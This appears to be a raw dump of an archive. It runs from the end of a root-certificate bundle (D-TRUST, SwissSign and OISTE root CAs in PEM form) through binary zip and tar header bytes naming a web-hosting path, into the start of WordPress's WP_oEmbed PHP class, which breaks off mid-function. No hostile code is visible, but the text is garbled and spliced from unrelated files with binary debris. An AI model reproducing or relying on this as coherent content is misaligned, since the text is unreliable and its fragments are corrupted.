D-TRUST EV Root CA 2 2023
=========================
-----BEGIN CERTIFICATE-----
MIIFqTCCA5GgAwIBAgIQaSYJfoBLTKCnjHhiU19abzANBgkqhkiG9w0BAQ0FADBIMQswCQYDVQQG
EwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEVWIFJvb3QgQ0Eg
MiAyMDIzMB4XDTIzMDUwOTA5MTAzM1oXDTM4MDUwOTA5MTAzMlowSDELMAkGA1UEBhMCREUxFTAT
BgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDIgMjAyMzCC
AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANiOo4mAC7JXUtypU0w3uX9jFxPvp1sjW2l1
sJkKF8GLxNuo4MwxusLyzV3pt/gdr2rElYfXR8mV2IIEUD2BCP/kPbOx1sWy/YgJ25yE7CUXFId/
MHibaljJtnMoPDT3mfd/06b4HEV8rSyMlD/YZxBTfiLNTiVR8CUkNRFeEMbsh2aJgWi6zCudR3Mf
vc2RpHJqnKIbGKBv7FD0fUDCqDDPvXPIEysQEx6Lmqg6lHPTGGkKSv/BAQP/eX+1SH977ugpbzZM
lWGG2Pmic4ruri+W7mjNPU0oQvlFKzIbRlUWaqZLKfm7lVa/Rh3sHZMdwGWyH6FDrlaeoLGPaxK3
YG14C8qKXO0elg6DpkiVjTujIcSuWMYAsoS0I6SWhjW42J7YrDRJmGOVxcttSEfi8i4YHtAxq910
7PncjLgcjmgjutDzUNzPZY9zOjLHfP7KgiJPvo5iR2blzYfi6NUPGJ/lBHJLRjwQ8kTCZFZxTnXo
nMkmdMV9WdEKWw9t/p51HBjGGjp82A0EzM23RWV6sY+4roRIPrN6TagD4uJ+ARZZaBhDM7DS3LAa
QzXupdqpRlyuhoFBAUp0JuyfBr/CBTdkdXgpaP3F9ev+R/nkhbDhezGdpn9yo7nELC7MmVcOIQxF
AZRl62UJxmMiCzNJkkg8/M3OsD6Onov4/knFNXJHAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUqvyREBuHkV8Wub9PS5FeAByxMoAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRC
MEAwPqA8oDqGOGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfZXZfcm9vdF9jYV8y
XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQCTy6UfmRHsmg1fLBWTxj++EI14QvBukEdHjqOS
Mo1wj/Zbjb6JzkcBahsgIIlbyIIQbODnmaprxiqgYzWRaoUlrRc4pZt+UPJ26oUFKidBK7GB0aL2
QHWpDsvxVUjY7NHss+jOFKE17MJeNRqrphYBBo7q3C+jisosketSjl8MmxfPy3MHGcRqwnNU73xD
UmPBEcrCRbH0O1P1aa4846XerOhUt7KR/aypH/KH5BfGSah82ApB9PI+53c0BFLd6IHyTS9URZ0V
4U/M5d40VxDJI3IXcI1QcB9WbMy5/zpaT2N6w25lBx2Eof+pDGOJbbJAiDnXH3dotfyc1dZnaVuo
dNv8ifYbMvekJKZ2t0dT741Jj6m2g1qllpBFYfXeA08mD6iL8AOWsKwV0HFaanuU5nCT2vFp4LJi
TZ6P/4mdm13NRemUAiKN4DV/6PEEeXFsVIP4M7kFMhtYVRFP0OUnR3Hs7dpn1mKmS00PaaLJvOwi
S5THaJQXfuKOKD62xur1NGyfN4gHONuGcfrNlUhDbqNPgofXNJhuS5N5YHVpD/Aa1VP6IQzCP+k/
HxiMkl14p3ZnGbuy6n/pcAlWVqOwDAstNl7F6cTVg8uGF5csbBNvh1qvSaYd2804BC5f4ko1Di1L
+KIkBI3Y4WNeApI02phhXBxvWHZks/wCuPWdCg==
-----END CERTIFICATE-----

SwissSign RSA TLS Root CA 2022 - 1
==================================
-----BEGIN CERTIFICATE-----
MIIFkzCCA3ugAwIBAgIUQ/oMX04bgBhE79G0TzUfRPSA7cswDQYJKoZIhvcNAQELBQAwUTELMAkG
A1UEBhMCQ0gxFTATBgNVBAoTDFN3aXNzU2lnbiBBRzErMCkGA1UEAxMiU3dpc3NTaWduIFJTQSBU
TFMgUm9vdCBDQSAyMDIyIC0gMTAeFw0yMjA2MDgxMTA4MjJaFw00NzA2MDgxMTA4MjJaMFExCzAJ
BgNVBAYTAkNIMRUwEwYDVQQKEwxTd2lzc1NpZ24gQUcxKzApBgNVBAMTIlN3aXNzU2lnbiBSU0Eg
VExTIFJvb3QgQ0EgMjAyMiAtIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDLKmji
C8NXvDVjvHClO/OMPE5Xlm7DTjak9gLKHqquuN6orx122ro10JFwB9+zBvKK8i5VUXu7LCTLf5Im
gKO0lPaCoaTo+nUdWfMHamFk4saMla+ju45vVs9xzF6BYQ1t8qsCLqSX5XH8irCRIFucdFJtrhUn
WXjyCcplDn/L9Ovn3KlMd/YrFgSVrpxxpT8q2kFC5zyEEPThPYxr4iuRR1VPuFa+Rd4iUU1OKNlf
GUEGjw5NBuBwQCMBauTLE5tzrE0USJIt/m2n+IdreXXhvhCxqohAWVTXz8TQm0SzOGlkjIHRI36q
OTw7D59Ke4LKa2/KIj4x0LDQKhySio/YGZxH5D4MucLNvkEM+KRHBdvBFzA4OmnczcNpI/2aDwLO
EGrOyvi5KaM2iYauC8BPY7kGWUleDsFpswrzd34unYyzJ5jSmY0lpx+Gs6ZUcDj8fV3oT4MM0ZPl
EuRU2j7yrTrePjxF8CgPBrnh25d7mUWe3f6VWQQvdT/TromZhqwUtKiE+shdOxtYk8EXlFXIC+OC
eYSf8wCENO7cMdWP8vpPlkwGqnj73mSiI80fPsWMvDdUDrtaclXvyFu1cvh43zcgTFeRc5JzrBh3
Q4IgaezprClG5QtO+DdziZaKHG29777YtvTKwP1H8K4LWCDFyB02rpeNUIMmJCn3nTsPBQIDAQAB
o2MwYTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBRvjmKLk0Ow
4UD2p8P98Q+4DxU4pTAdBgNVHQ4EFgQUb45ii5NDsOFA9qfD/fEPuA8VOKUwDQYJKoZIhvcNAQEL
BQADggIBAKwsKUF9+lz1GpUYvyypiqkkVHX1uECry6gkUSsYP2OprphWKwVDIqO310aewCoSPY6W
lkDfDDOLazeROpW7OSltwAJsipQLBwJNGD77+3v1dj2b9l4wBlgzHqp41eZUBDqyggmNzhYzWUUo
8aWjlw5DI/0LIICQ/+Mmz7hkkeUFjxOgdg3XNwwQiJb0Pr6VvfHDffCjw3lHC1ySFWPtUnWK50Zp
y1FVCypM9fJkT6lc/2cyjlUtMoIcgC9qkfjLvH4YoiaoLqNTKIftV+Vlek4ASltOU8liNr3Cjlvr
zG4ngRhZi0Rjn9UMZfQpZX+RLOV/fuiJz48gy20HQhFRJjKKLjpHE7iNvUcNCfAWpO2Whi4Z2L6M
OuhFLhG6rlrnub+xzI/goP+4s9GFe3lmozm1O2bYQL7Pt2eLSMkZJVX8vY3PXtpOpvJpzv1/THfQ
wUY1mFwjmwJFQ5Ra3bxHrSL+ul4vkSkphnsh3m5kt8sNjzdbowhq6/TdAo9QAwKxuDdollDruF/U
KIqlIgyKhPBZLtU30WHlQnNYKoH3dtvi4k0NX/a3vgW0rk4N3hY9A4GzJl5LuEsAz/+MF7psYC0n
hzck5npgL7XTgwSqT0N1osGDsieYK7EOgLrAhV5Cud+xYJHT6xh+cHiudoO+cVrQkOPKwRYlZ0rw
tnu64ZzZ
-----END CERTIFICATE-----

OISTE Server Root ECC G1
========================
-----BEGIN CERTIFICATE-----
MIICNTCCAbqgAwIBAgIQI/nD1jWvjyhLH/BU6n6XnTAKBggqhkjOPQQDAzBLMQswCQYDVQQGEwJD
SDEZMBcGA1UECgwQT0lTVEUgRm91bmRhdGlvbjEhMB8GA1UEAwwYT0lTVEUgU2VydmVyIFJvb3Qg
RUNDIEcxMB4XDTIzMDUzMTE0NDIyOFoXDTQ4MDUyNDE0NDIyN1owSzELMAkGA1UEBhMCQ0gxGTAX
BgNVBAoMEE9JU1RFIEZvdW5kYXRpb24xITAfBgNVBAMMGE9JU1RFIFNlcnZlciBSb290IEVDQyBH
MTB2MBAGByqGSM49AgEGBSuBBAAiA2IABBcv+hK8rBjzCvRE1nZCnrPoH7d5qVi2+GXROiFPqOuj
vqQycvO2Ackr/XeFblPdreqqLiWStukhEaivtUwL85Zgmjvn6hp4LrQ95SjeHIC6XG4N2xml4z+c
KrhAS93mT6NjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBQ3TYhlz/w9itWj8UnATgwQ
b0K0nDAdBgNVHQ4EFgQUN02IZc/8PYrVo/FJwE4MEG9CtJwwDgYDVR0PAQH/BAQDAgGGMAoGCCqG
SM49BAMDA2kAMGYCMQCpKjAd0MKfkFFRQD6VVCHNFmb3U2wIFjnQEnx/Yxvf4zgAOdktUyBFCxxg
ZzFDJe0CMQCSia7pXGKDYmH5LVerVrkR3SW+ak5KGoJr3M/TvEqzPNcum9v4KGm8ay3sMaE641c=
-----END CERTIFICATE-----

 OISTE Server Root RSA G1
=========================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIQVaXZZ5Qoxu0M+ifdWwFNGDANBgkqhkiG9w0BAQwFADBLMQswCQYDVQQG
EwJDSDEZMBcGA1UECgwQT0lTVEUgRm91bmRhdGlvbjEhMB8GA1UEAwwYT0lTVEUgU2VydmVyIFJv
b3QgUlNBIEcxMB4XDTIzMDUzMTE0MzcxNloXDTQ4MDUyNDE0MzcxNVowSzELMAkGA1UEBhMCQ0gx
GTAXBgNVBAoMEE9JU1RFIEZvdW5kYXRpb24xITAfBgNVBAMMGE9JU1RFIFNlcnZlciBSb290IFJT
QSBHMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKqu9KuCz/vlNwvn1ZatkOhLKdxV
YOPMvLO8LZK55KN68YG0nnJyQ98/qwsmtO57Gmn7KNByXEptaZnwYx4M0rH/1ow00O7brEi56rAU
jtgHqSSY3ekJvqgiG1k50SeH3BzN+Puz6+mTeO0Pzjd8JnduodgsIUzkik/HEzxux9UTl7Ko2yRp
g1bTacuCErudG/L4NPKYKyqOBGf244ehHa1uzjZ0Dl4zO8vbUZeUapU8zhhabkvG/AePLhq5Svdk
NCncpo1Q4Y2LS+VIG24ugBA/5J8bZT8RtOpXaZ+0AOuFJJkk9SGdl6r7NH8CaxWQrbueWhl/pIzY
+m0o/DjH40ytas7ZTpOSjswMZ78LS5bOZmdTaMsXEY5Z96ycG7mOaES3GK/m5Q9l3JUJsJMStR8+
lKXHiHUhsd4JJCpM4rzsTGdHwimIuQq6+cF0zowYJmXa92/GjHtoXAvuY8BeS/FOzJ8vD+HomnqT
8eDI278n5mUpezbgMxVz8p1rhAhoKzYHKyfMeNhqhw5HdPSqoBNdZH702xSu+zrkL8Fl47l6QGzw
Brd7KJvX4V84c5Ss2XCTLdyEr0YconosP4EmQufU2MVshGYRi3drVByjtdgQ8K4p92cIiBdcuJd5
z+orKu5YM+Vt6SmqZQENghPsJQtdLEByFSnTkCz3GkPVavBpAgMBAAGjYzBhMA8GA1UdEwEB/wQF
MAMBAf8wHwYDVR0jBBgwFoAU8snBDw1jALvsRQ5KH7WxszbNDo0wHQYDVR0OBBYEFPLJwQ8NYwC7
7EUOSh+1sbM2zQ6NMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQwFAAOCAgEANGd5sjrG5T33
I3K5Ce+SrScfoE4KsvXaFwyihdJ+klH9FWXXXGtkFu6KRcoMQzZENdl//nk6HOjG5D1rd9QhEOP2
8yBOqb6J8xycqd+8MDoX0TJD0KqKchxRKEzdNsjkLWd9kYccnbz8qyiWXmFcuCIzGEgWUOrKL+ml
Sdx/PKQZvDatkuK59EvV6wit53j+F8Bdh3foZ3dPAGav9LEDOr4SfEE15fSmG0eLy3n31r8Xbk5l
8PjaV8GUgeV6Vg27Rn9vkf195hfkgSe7BYhW3SCl95gtkRlpMV+bMPKZrXJAlszYd2abtNUOshD+
FKrDgHGdPY3ofRRsYWSGRqbXVMW215AWRqWFyp464+YTFrYVI8ypKVL9AMb2kI5Wj4kI3Zaq5tNq
qYY19tVFeEJKRvwDyF7YZvZFZSS0vod7VSCd9521Kvy5YhnLbDuv0204bKt7ph6N/Ome/msVuduC
msuY33OhkKCgxeDoAaijFJzIwZqsFVAzje18KotzlUBDJvyBpCpfOZC3J8tRd/iWkx7P8nd9H0aT
olkelUTFLXVksNb54Dxp6gS1HAviRkRNQzuXSXERvSS2wq1yVAb+axj5d9spLFKebXd7Yv0PTY6Y
MjAwcRLWJTXjn/hvnLXrahut6hDTlhZyBiElxky8j3C7DOReIoMt0r7+hVu05L0=
-----END CERTIFICATE-----
PKVO\�Z�fp�p�block-supports/index.phpnu�[���PKVO\�dئ���
��ca-bundle.crtnu�[���PK��GPKYO\j����10/class-wp-oembed.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-oembed.php000064400000075666151442377540017565 0ustar00<?php
/**
 * API for fetching the HTML to embed remote content based on a provided URL
 *
 * Used internally by the WP_Embed class, but is designed to be generic.
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/oembed/
 * @link http://oembed.com/
 *
 * @package WordPress
 * @subpackage oEmbed
 */

/**
 * Core class used to implement oEmbed functionality.
 *
 * @since 2.9.0
 */
#[AllowDynamicProperties]
class WP_oEmbed {

	/**
	 * A list of oEmbed providers.
	 *
	 * @since 2.9.0
	 * @var array
	 */
	public $providers = array();

	/**
	 * A list of an early oEmbed providers.
	 *
	 * @since 4.0.0
	 * @var array
	 */
	public static $early_providers = array();

	/**
	 * A list of private/protected methods, used for backward compatibility.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	private $compat_methods = array( '_fetch_with_format', '_parse_json', '_parse_xml', '_parse_xml_body' );

	/**
	 * Constructor.
	 *
	 * @since 2.9.0
	 */
	public function __construct() {
		$host      = urlencode( home_url() );
		$providers = array(
			'#https?://((m|www)\.)?youtube\.com/watch.*#i' => array( 'https://www.youtube.com/oembed', true ),
			'#https?://((m|www)\.)?youtube\.com/playlist.*#i' => array( 'https://www.youtube.com/oembed', true ),
			'#https?://((m|www)\.)?youtube\.com/shorts/*#i' => array( 'https://www.youtube.com/oembed', true ),
			'#https?://((m|www)\.)?youtube\.com/live/*#i'  => array( 'https://www.youtube.com/oembed', true ),
			'#https?://youtu\.be/.*#i'                     => array( 'https://www.youtube.com/oembed', true ),
			'#https?://(.+\.)?vimeo\.com/.*#i'             => array( 'https://vimeo.com/api/oembed.{format}', true ),
			'#https?://(www\.)?dailymotion\.com/.*#i'      => array( 'https://www.dailymotion.com/services/oembed', true ),
			'#https?://dai\.ly/.*#i'                       => array( 'https://www.dailymotion.com/services/oembed', true ),
			'#https?://(www\.)?flickr\.com/.*#i'           => array( 'https://www.flickr.com/services/oembed/', true ),
			'#https?://flic\.kr/.*#i'                      => array( 'https://www.flickr.com/services/oembed/', true ),
			'#https?://(.+\.)?smugmug\.com/.*#i'           => array( 'https://api.smugmug.com/services/oembed/', true ),
			'#https?://(www\.)?scribd\.com/(doc|document)/.*#i' => array( 'https://www.scribd.com/services/oembed', true ),
			'#https?://wordpress\.tv/.*#i'                 => array( 'https://wordpress.tv/oembed/', true ),
			'#https?://(.+\.)?crowdsignal\.net/.*#i'       => array( 'https://api.crowdsignal.com/oembed', true ),
			'#https?://(.+\.)?polldaddy\.com/.*#i'         => array( 'https://api.crowdsignal.com/oembed', true ),
			'#https?://poll\.fm/.*#i'                      => array( 'https://api.crowdsignal.com/oembed', true ),
			'#https?://(.+\.)?survey\.fm/.*#i'             => array( 'https://api.crowdsignal.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}/status(es)?/.*#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}$#i'   => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}/likes$#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}/lists/.*#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}/timelines/.*#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/i/moments/.*#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?soundcloud\.com/.*#i'       => array( 'https://soundcloud.com/oembed', true ),
			'#https?://(open|play)\.spotify\.com/.*#i'     => array( 'https://embed.spotify.com/oembed/', true ),
			'#https?://(.+\.)?imgur\.com/.*#i'             => array( 'https://api.imgur.com/oembed', true ),
			'#https?://(www\.)?issuu\.com/.+/docs/.+#i'    => array( 'https://issuu.com/oembed_wp', true ),
			'#https?://(www\.)?mixcloud\.com/.*#i'         => array( 'https://app.mixcloud.com/oembed/', true ),
			'#https?://(www\.|embed\.)?ted\.com/talks/.*#i' => array( 'https://www.ted.com/services/v1/oembed.{format}', true ),
			'#https?://(www\.)?(animoto|video214)\.com/play/.*#i' => array( 'https://animoto.com/oembeds/create', true ),
			'#https?://(.+)\.tumblr\.com/.*#i'             => array( 'https://www.tumblr.com/oembed/1.0', true ),
			'#https?://(www\.)?kickstarter\.com/projects/.*#i' => array( 'https://www.kickstarter.com/services/oembed', true ),
			'#https?://kck\.st/.*#i'                       => array( 'https://www.kickstarter.com/services/oembed', true ),
			'#https?://cloudup\.com/.*#i'                  => array( 'https://cloudup.com/oembed', true ),
			'#https?://(www\.)?reverbnation\.com/.*#i'     => array( 'https://www.reverbnation.com/oembed', true ),
			'#https?://videopress\.com/v/.*#'              => array( 'https://public-api.wordpress.com/oembed/?for=' . $host, true ),
			'#https?://(www\.)?reddit\.com/r/[^/]+/comments/.*#i' => array( 'https://www.reddit.com/oembed', true ),
			'#https?://(www\.)?speakerdeck\.com/.*#i'      => array( 'https://speakerdeck.com/oembed.{format}', true ),
			'#https?://([a-z0-9-]+\.)?amazon\.(com|com\.mx|com\.br|ca)/.*#i' => array( 'https://read.amazon.com/kp/api/oembed', true ),
			'#https?://([a-z0-9-]+\.)?amazon\.(co\.uk|de|fr|it|es|in|nl|ru)/.*#i' => array( 'https://read.amazon.co.uk/kp/api/oembed', true ),
			'#https?://([a-z0-9-]+\.)?amazon\.(co\.jp|com\.au)/.*#i' => array( 'https://read.amazon.com.au/kp/api/oembed', true ),
			'#https?://([a-z0-9-]+\.)?amazon\.cn/.*#i'     => array( 'https://read.amazon.cn/kp/api/oembed', true ),
			'#https?://(www\.)?a\.co/.*#i'                 => array( 'https://read.amazon.com/kp/api/oembed', true ),
			'#https?://(www\.)?amzn\.to/.*#i'              => array( 'https://read.amazon.com/kp/api/oembed', true ),
			'#https?://(www\.)?amzn\.eu/.*#i'              => array( 'https://read.amazon.co.uk/kp/api/oembed', true ),
			'#https?://(www\.)?amzn\.in/.*#i'              => array( 'https://read.amazon.in/kp/api/oembed', true ),
			'#https?://(www\.)?amzn\.asia/.*#i'            => array( 'https://read.amazon.com.au/kp/api/oembed', true ),
			'#https?://(www\.)?z\.cn/.*#i'                 => array( 'https://read.amazon.cn/kp/api/oembed', true ),
			'#https?://www\.someecards\.com/.+-cards/.+#i' => array( 'https://www.someecards.com/v2/oembed/', true ),
			'#https?://www\.someecards\.com/usercards/viewcard/.+#i' => array( 'https://www.someecards.com/v2/oembed/', true ),
			'#https?://some\.ly\/.+#i'                     => array( 'https://www.someecards.com/v2/oembed/', true ),
			'#https?://(www\.)?tiktok\.com/.*/video/.*#i'  => array( 'https://www.tiktok.com/oembed', true ),
			'#https?://(www\.)?tiktok\.com/@.*#i'          => array( 'https://www.tiktok.com/oembed', true ),
			'#https?://([a-z]{2}|www)\.pinterest\.com(\.(au|mx))?/.*#i' => array( 'https://www.pinterest.com/oembed.json', true ),
			'#https?://(www\.)?wolframcloud\.com/obj/.+#i' => array( 'https://www.wolframcloud.com/oembed', true ),
			'#https?://pca\.st/.+#i'                       => array( 'https://pca.st/oembed.json', true ),
			'#https?://((play|www)\.)?anghami\.com/.*#i'   => array( 'https://api.anghami.com/rest/v1/oembed.view', true ),
			'#https?://bsky.app/profile/.*/post/.*#i'      => array( 'https://embed.bsky.app/oembed', true ),
			'#https?://(www\.)?canva\.com/design/.*/view.*#i' => array( 'https://canva.com/_oembed', true ),
		);

		if ( ! empty( self::$early_providers['add'] ) ) {
			foreach ( self::$early_providers['add'] as $format => $data ) {
				$providers[ $format ] = $data;
			}
		}

		if ( ! empty( self::$early_providers['remove'] ) ) {
			foreach ( self::$early_providers['remove'] as $format ) {
				unset( $providers[ $format ] );
			}
		}

		self::$early_providers = array();

		/**
		 * Filters the list of sanctioned oEmbed providers.
		 *
		 * Since WordPress 4.4, oEmbed discovery is enabled for all users and allows embedding of sanitized
		 * iframes. The providers in this list are sanctioned, meaning they are trusted and allowed to
		 * embed any content, such as iframes, videos, JavaScript, and arbitrary HTML.
		 *
		 * Supported providers:
		 *
		 * |   Provider   |                     Flavor                |  Since  |
		 * | ------------ | ----------------------------------------- | ------- |
		 * | Dailymotion  | dailymotion.com                           | 2.9.0   |
		 * | Flickr       | flickr.com                                | 2.9.0   |
		 * | Scribd       | scribd.com                                | 2.9.0   |
		 * | Vimeo        | vimeo.com                                 | 2.9.0   |
		 * | WordPress.tv | wordpress.tv                              | 2.9.0   |
		 * | YouTube      | youtube.com/watch                         | 2.9.0   |
		 * | Crowdsignal  | polldaddy.com                             | 3.0.0   |
		 * | SmugMug      | smugmug.com                               | 3.0.0   |
		 * | YouTube      | youtu.be                                  | 3.0.0   |
		 * | Twitter      | twitter.com                               | 3.4.0   |
		 * | SoundCloud   | soundcloud.com                            | 3.5.0   |
		 * | Dailymotion  | dai.ly                                    | 3.6.0   |
		 * | Flickr       | flic.kr                                   | 3.6.0   |
		 * | Spotify      | spotify.com                               | 3.6.0   |
		 * | Imgur        | imgur.com                                 | 3.9.0   |
		 * | Animoto      | animoto.com                               | 4.0.0   |
		 * | Animoto      | video214.com                              | 4.0.0   |
		 * | Issuu        | issuu.com                                 | 4.0.0   |
		 * | Mixcloud     | mixcloud.com                              | 4.0.0   |
		 * | Crowdsignal  | poll.fm                                   | 4.0.0   |
		 * | TED          | ted.com                                   | 4.0.0   |
		 * | YouTube      | youtube.com/playlist                      | 4.0.0   |
		 * | Tumblr       | tumblr.com                                | 4.2.0   |
		 * | Kickstarter  | kickstarter.com                           | 4.2.0   |
		 * | Kickstarter  | kck.st                                    | 4.2.0   |
		 * | Cloudup      | cloudup.com                               | 4.3.0   |
		 * | ReverbNation | reverbnation.com                          | 4.4.0   |
		 * | VideoPress   | videopress.com                            | 4.4.0   |
		 * | Reddit       | reddit.com                                | 4.4.0   |
		 * | Speaker Deck | speakerdeck.com                           | 4.4.0   |
		 * | Twitter      | twitter.com/timelines                     | 4.5.0   |
		 * | Twitter      | twitter.com/moments                       | 4.5.0   |
		 * | Twitter      | twitter.com/user                          | 4.7.0   |
		 * | Twitter      | twitter.com/likes                         | 4.7.0   |
		 * | Twitter      | twitter.com/lists                         | 4.7.0   |
		 * | Screencast   | screencast.com                            | 4.8.0   |
		 * | Amazon       | amazon.com (com.mx, com.br, ca)           | 4.9.0   |
		 * | Amazon       | amazon.de (fr, it, es, in, nl, ru, co.uk) | 4.9.0   |
		 * | Amazon       | amazon.co.jp (com.au)                     | 4.9.0   |
		 * | Amazon       | amazon.cn                                 | 4.9.0   |
		 * | Amazon       | a.co                                      | 4.9.0   |
		 * | Amazon       | amzn.to (eu, in, asia)                    | 4.9.0   |
		 * | Amazon       | z.cn                                      | 4.9.0   |
		 * | Someecards   | someecards.com                            | 4.9.0   |
		 * | Someecards   | some.ly                                   | 4.9.0   |
		 * | Crowdsignal  | survey.fm                                 | 5.1.0   |
		 * | TikTok       | tiktok.com                                | 5.4.0   |
		 * | Pinterest    | pinterest.com                             | 5.9.0   |
		 * | WolframCloud | wolframcloud.com                          | 5.9.0   |
		 * | Pocket Casts | pocketcasts.com                           | 6.1.0   |
		 * | Crowdsignal  | crowdsignal.net                           | 6.2.0   |
		 * | Anghami      | anghami.com                               | 6.3.0   |
		 * | Bluesky      | bsky.app                                  | 6.6.0   |
		 * | Canva        | canva.com                                 | 6.8.0   |
		 *
		 * No longer supported providers:
		 *
		 * |   Provider   |        Flavor        |   Since   |  Removed  |
		 * | ------------ | -------------------- | --------- | --------- |
		 * | Qik          | qik.com              | 2.9.0     | 3.9.0     |
		 * | Viddler      | viddler.com          | 2.9.0     | 4.0.0     |
		 * | Revision3    | revision3.com        | 2.9.0     | 4.2.0     |
		 * | Blip         | blip.tv              | 2.9.0     | 4.4.0     |
		 * | Rdio         | rdio.com             | 3.6.0     | 4.4.1     |
		 * | Rdio         | rd.io                | 3.6.0     | 4.4.1     |
		 * | Vine         | vine.co              | 4.1.0     | 4.9.0     |
		 * | Photobucket  | photobucket.com      | 2.9.0     | 5.1.0     |
		 * | Funny or Die | funnyordie.com       | 3.0.0     | 5.1.0     |
		 * | CollegeHumor | collegehumor.com     | 4.0.0     | 5.3.1     |
		 * | Hulu         | hulu.com             | 2.9.0     | 5.5.0     |
		 * | Instagram    | instagram.com        | 3.5.0     | 5.5.2     |
		 * | Instagram    | instagr.am           | 3.5.0     | 5.5.2     |
		 * | Instagram TV | instagram.com        | 5.1.0     | 5.5.2     |
		 * | Instagram TV | instagr.am           | 5.1.0     | 5.5.2     |
		 * | Facebook     | facebook.com         | 4.7.0     | 5.5.2     |
		 * | Meetup.com   | meetup.com           | 3.9.0     | 6.0.1     |
		 * | Meetup.com   | meetu.ps             | 3.9.0     | 6.0.1     |
		 * | SlideShare   | slideshare.net       | 3.5.0     | 6.6.0     |
		 * | Screencast   | screencast.com       | 4.8.0     | 6.8.2     |
		 *
		 * @see wp_oembed_add_provider()
		 *
		 * @since 2.9.0
		 *
		 * @param array[] $providers An array of arrays containing data about popular oEmbed providers.
		 */
		$this->providers = apply_filters( 'oembed_providers', $providers );

		// Fix any embeds that contain new lines in the middle of the HTML which breaks wpautop().
		add_filter( 'oembed_dataparse', array( $this, '_strip_newlines' ), 10, 3 );
	}

	/**
	 * Exposes private/protected methods for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( in_array( $name, $this->compat_methods, true ) ) {
			return $this->$name( ...$arguments );
		}

		return false;
	}

	/**
	 * Takes a URL and returns the corresponding oEmbed provider's URL, if there is one.
	 *
	 * @since 4.0.0
	 *
	 * @see WP_oEmbed::discover()
	 *
	 * @param string       $url  The URL to the content.
	 * @param string|array $args {
	 *     Optional. Additional provider arguments. Default empty.
	 *
	 *     @type bool $discover Optional. Determines whether to attempt to discover link tags
	 *                          at the given URL for an oEmbed provider when the provider URL
	 *                          is not found in the built-in providers list. Default true.
	 * }
	 * @return string|false The oEmbed provider URL on success, false on failure.
	 */
	public function get_provider( $url, $args = '' ) {
		$args = wp_parse_args( $args );

		$provider = false;

		if ( ! isset( $args['discover'] ) ) {
			$args['discover'] = true;
		}

		foreach ( $this->providers as $matchmask => $data ) {
			list( $providerurl, $regex ) = $data;

			// Turn the asterisk-type provider URLs into regex.
			if ( ! $regex ) {
				$matchmask = '#' . str_replace( '___wildcard___', '(.+)', preg_quote( str_replace( '*', '___wildcard___', $matchmask ), '#' ) ) . '#i';
				$matchmask = preg_replace( '|^#http\\\://|', '#https?\://', $matchmask );
			}

			if ( preg_match( $matchmask, $url ) ) {
				$provider = str_replace( '{format}', 'json', $providerurl ); // JSON is easier to deal with than XML.
				break;
			}
		}

		if ( ! $provider && $args['discover'] ) {
			$provider = $this->discover( $url );
		}

		return $provider;
	}

	/**
	 * Adds an oEmbed provider.
	 *
	 * The provider is added just-in-time when wp_oembed_add_provider() is called before
	 * the {@see 'plugins_loaded'} hook.
	 *
	 * The just-in-time addition is for the benefit of the {@see 'oembed_providers'} filter.
	 *
	 * @since 4.0.0
	 *
	 * @see wp_oembed_add_provider()
	 *
	 * @param string $format   Format of URL that this provider can handle. You can use
	 *                         asterisks as wildcards.
	 * @param string $provider The URL to the oEmbed provider..
	 * @param bool   $regex    Optional. Whether the $format parameter is in a regex format.
	 *                         Default false.
	 */
	public static function _add_provider_early( $format, $provider, $regex = false ) {
		if ( empty( self::$early_providers['add'] ) ) {
			self::$early_providers['add'] = array();
		}

		self::$early_providers['add'][ $format ] = array( $provider, $regex );
	}

	/**
	 * Removes an oEmbed provider.
	 *
	 * The provider is removed just-in-time when wp_oembed_remove_provider() is called before
	 * the {@see 'plugins_loaded'} hook.
	 *
	 * The just-in-time removal is for the benefit of the {@see 'oembed_providers'} filter.
	 *
	 * @since 4.0.0
	 *
	 * @see wp_oembed_remove_provider()
	 *
	 * @param string $format The format of URL that this provider can handle. You can use
	 *                       asterisks as wildcards.
	 */
	public static function _remove_provider_early( $format ) {
		if ( empty( self::$early_providers['remove'] ) ) {
			self::$early_providers['remove'] = array();
		}

		self::$early_providers['remove'][] = $format;
	}

	/**
	 * Takes a URL and attempts to return the oEmbed data.
	 *
	 * @see WP_oEmbed::fetch()
	 *
	 * @since 4.8.0
	 *
	 * @param string       $url  The URL to the content that should be attempted to be embedded.
	 * @param string|array $args Optional. Additional arguments for retrieving embed HTML.
	 *                           See wp_oembed_get() for accepted arguments. Default empty.
	 * @return object|false The result in the form of an object on success, false on failure.
	 */
	public function get_data( $url, $args = '' ) {
		$args = wp_parse_args( $args );

